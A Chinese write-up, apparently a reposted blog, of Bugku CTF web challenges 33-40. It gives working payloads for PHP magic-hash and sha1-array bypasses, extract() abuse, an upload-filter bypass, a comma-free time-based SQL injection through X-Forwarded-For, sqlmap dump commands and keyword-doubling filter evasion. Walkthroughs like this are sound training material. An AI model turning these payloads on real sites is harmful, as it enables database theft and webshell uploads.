bugku web题 33-40 wp

md5 collision

要求input a,题目提示很清楚了。
利用php的特性:

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

0e开头的MD5汇总
payload:?a=s878926199a


各种绕过

php审计:

 <?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

    else
        print 'sorry!';
}
?> 

要求:
$_GET['uname'] != $_POST['passwd']
sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')

sha1函数漏洞:

sha1()函数无法处理数组类型,将报错并返回NULL

构造:
uname[]=a;
passwd[]=b;
id=margin;

得到flag


web8

hint:txt??!
审计:

<?php
extract($_GET);    //extract() 函数从数组中将变量导入到当前的符号表。
if (!empty($ac))
{
$f = trim(file_get_contents($fn));//trim()去除字符串首尾处的空白字符(或者其他字符)
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

要求:
extract($_GET)
$f = trim(file_get_contents($fn))
$ac === $f
提示有txt文件,经尝试发现:flag.txt 内容为:flags

构造payload:
http://120.24.86.145:8002/web8/?ac=flags&fn=flag.txt

得到flag


细心

hint:想办法变成admin
打开页面如下:
这里写图片描述
没有任何线索。最后在robot.txt下发现如下内容:

User-agent: *
Disallow: /resusl.php

robot.txt是网站爬虫规则的描述,相关自行百度。

打开result.php:
这里写图片描述

payload:
http://120.24.86.145:8002/web13/resusl.php?x=admin
额,鬼知道他这个密码是哪来的,就当是撞默认密码吧。或者用字典爆破。

求getshell

先说解法:

上传1.php.jpg
用burp抓包,找到content-type字段:
Content-Type: multipart/form-data; boundary=---------------------------146043902153
修改 multipart/form-data的大小写,
最后将文件后缀改为 .php5,提交得到flag。

这题我还没弄明白
网上说这题是后缀名黑名单检测和类型检测

php别名:php2, php3, php4, php5, phps, pht, phtm, phtml(只有php5没被过滤)
至于为什么修改content-Type大小写可以绕过,我还没搞懂。

Http Header里的Content-Type


INSERT INTO注入

给出代码如下:

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
/************获取IP*************************************/

$ip_arr = explode(',', $ip);//过滤逗号
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

可以看到,这是X-Forwarded-For的注入,而且过滤了逗号,。在过滤了逗号的情况下,我们就不能使用if语句了,在mysql中与if有相同功效的就是:
select case when 语句1 then 语句1 else 语句1 end;
当语句1为真,执行语句2,否则执行语句3

而且由于逗号,被过滤,我们就不能使用substrsubstring了,但我们可以使用:from 1 for 1,所以最终我们的payload如下:
127.0.0.1'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))-- +
脚本之后补上。

这是一个神奇的登陆框

打开页面显示一个登陆框:
测试语句:' " / \ | )
报错,这意味着该页面无法处理某些特殊字符,可能存在注入。
分析报错语句得到变量由"包裹。
测试语句:admin_name=" or 1=1#&admin_passwd=&submit=GO GO GO爆出用户名字段,存在注入。
丢进sqlmap:
因为是post请求,用burp抓包保存请求头文件bugku.txt
爆数据库:python sqlmap.py -r "C:\Users\horyit\Desktop\杂项\bugku.txt" -p admin_name --dbs
爆表名:python sqlmap.py -r "C:\Users\horyit\Desktop\杂项\bugku.txt" -p admin_name -D bugkusql1 --tables
爆字段名:python sqlmap.py -r "C:\Users\horyit\Desktop\杂项\bugku.txt" -p admin_name -D bugkusql1 -T flag1 --columns
获取数据:python sqlmap.py -r "C:\Users\horyit\Desktop\杂项\bugku.txt" -p admin_name -D bugkusql1 -T flag1 -C --dump

ps:爆字段名是出现问题,手注显示错误Got error 28 from storage engine,百度无果,感觉是题出了问题。但做题的逻辑应该就是这样。
flag:flag{ed6b28e684817d9efcaf802979e57aea}


多次

经测试:单引号报错,加注释返回正常,有过滤。
判断过滤:异或注入(同假异真),过滤了union,select,or(注意order里面有or,这是个坑),and
关于异或注入
尝试绕过:重写 如:union –>uniunionon
发现可以绕过
payload:http://120.24.86.145:9004/1ndex.php?id=1' uniounionn selecselectt 1,2%23
之后就是常规操作。
出了一点问题,之后补上。

猜你喜欢

转载自blog.csdn.net/w0ryitang/article/details/80520744